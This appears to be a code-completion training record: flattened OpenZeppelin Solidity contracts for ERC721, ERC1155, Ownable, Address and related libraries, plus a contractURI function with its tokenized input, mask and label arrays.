`to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol";
See https:docs.opensea.io/docs/contract-level-metadata for details.
function contractURI() public view returns (string memory) { return string(abi.encodePacked( _baseURI(), 'contract-metadata' )); }
12,033,914
[ 1, 9704, 2333, 30, 8532, 18, 3190, 307, 69, 18, 1594, 19, 8532, 19, 16351, 17, 2815, 17, 4165, 364, 3189, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6835, 3098, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 533, 12, 21457, 18, 3015, 4420, 329, 12, 203, 5411, 389, 1969, 3098, 9334, 203, 5411, 296, 16351, 17, 4165, 11, 203, 3639, 262, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-15 */ // File: @openzeppelin\contracts\security\ReentrancyGuard.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: node_modules\@openzeppelin\contracts\utils\Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: node_modules\@openzeppelin\contracts\utils\introspection\IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\@openzeppelin\contracts\token\ERC1155\IERC1155.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: node_modules\@openzeppelin\contracts\token\ERC1155\IERC1155Receiver.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: node_modules\@openzeppelin\contracts\token\ERC1155\extensions\IERC1155MetadataURI.sol pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like 